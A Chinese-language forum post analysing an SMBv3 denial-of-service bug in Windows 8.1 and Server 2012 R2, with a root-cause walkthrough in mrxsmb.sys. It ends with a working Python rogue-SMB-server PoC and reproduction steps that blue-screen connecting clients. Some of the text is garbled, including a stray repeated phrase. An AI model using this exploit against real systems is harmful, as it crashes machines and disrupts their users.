taibeihacker
Moderator
0x01 前言
去年年底,當設置一個模擬器來定位SMB協議時,發現了一個如此簡單而又非常有效的攻擊大型企業的漏洞。TL; DR:一個拒絕服務錯誤允許BSOD協議向Windows 8.1和Windows Server 2012 R2計算機發送單個數據包。0x02 测试环境
受影響的系統:马云惹不起马云Windows 8.1(x86)
马云惹不起马云Windows Server 2012 R2(x64)
0x03 背景知识
要了解此漏洞的根本原因,需要了解SMB數據包的結構方式。讓我們來看一下SMBv1协议头文件:

正如我們所看到的協議字段以FF字節開始,現在讓我們來看看SMBv2

協議字段現在以FE字節開始,那麼SMBv3呢? SMB協議的v3版本已經過加密,並將使用SMB2_Transform的特定頭部進行加密通信:

SMBv3始終是加密的,正如可以在官方文檔中了解到SMBv3會話的協商從SMBv2會話開始。以下是設置SMBv3會話時涉及到的數據包:

在1到8字節的數據包中,SMB數據頭看起來像這樣:

我們可以看到,使用的字節序列仍然是0xFE,它是Microsoft官方文檔中指示的SMBv2的代碼。
從第9字節開始,加密處於連通狀態,並且報頭中使用的字節序列將為0xFD

正如您在PoC中看到的那樣,當第一次會話時立即發送帶有0xFD報頭的SMB數據包時會發生內核崩潰。現在,讓我們深入了解崩潰轉儲機制,以了解此次崩潰的根本原因。
0x04 根本原因分析
僅在Windows 8.1(x86)上執行來分析根本原因,發送特定數據包會導致內核崩潰,因為它要從內存中讀取地址為0x00000030處受保護(空頁面保護)的值。
發生崩潰的模塊是“mrxsmb.sys”,它是Microsoft服務器消息塊(SMB)的重定器。崩潰的確切位置是mrxsmb! SmbWksReceiveEvent + 8539,其中從[ecx + 30h]發生偏移到EAX,ECX的值指向0x00000000。當我們通過IDA分析流程時,它看起來如下所示:處理數據包並檢查是否啟用了加密,這與使用加密SMB數據包的SMB
3.0相關

在WinDBG中,它看起來像這樣:

從本質上講,它將檢查加密是否被啟用,如果在這種情況下,它將遵循“錯誤”路徑並轉移到下一個函數:

它將執行一些比較指令,並且第二個最後的指令是檢查是否用十六進制值0x34註冊ECX。如果ECX低於或等於0x34,在這種情況下發發生錯誤:

遵循“錯誤”路徑:發生另一條指令,在這種情況下,如果寄存器EDX(攻擊者可控制值)高於[ESP + 4C]的值,它將遵循“真實”路徑

各種寄存器中的值:

下一條指令再次將ECX的值與0x34進行比較,如果ECX高於0x34,它將遵循“真實”路徑

在這種情況下,它將遵循真實路徑,因為ECX的值高於0x34。以下指令塊將_Microsoft_Windows_SMBClientEnableBits的值0x80000000之間的值進行測試。在WinDBG中,我們可以看到測試會導致“錯誤”,隨後將遵循“錯誤”路徑。

引導我們接受一個始終為“true”的測試指令

轉而使用locA0F20E05”功能,將零置於堆棧之後,在這種情況下,它將運行“loc A0F20E15”:在將ECX + 30h移至EAX的指令處,會發生崩潰,因為ECX為0x00000000,它將嘗試讀取受保護內存空間0x00000030的值。

這會導致內核崩潰,並強制機器重新啟動。
0x05 利用poc
import SocketServerfrom binascii import unhexlify
payload='000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141 414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'
class byebye(SocketServer.BaseRequestHandler):
def handle(self):
try:
print 'From:', self.client_address
print '[*]Sending Payload.'
self.request.send(unhexlify(payload))
except Exception:
print 'BSoD Triggered on', self.client_address
pass
SocketServer.TCPServer.allow_reuse_address=1
launch=SocketServer.TCPServer(('', 445),byebye)
launch.serve_forever()
0x06 漏洞复现
1.在kali執行腳本
2.然後在windows2012 r2上訪問共享地址:\\10.0.0.217,會立即看到操作系統藍屏!
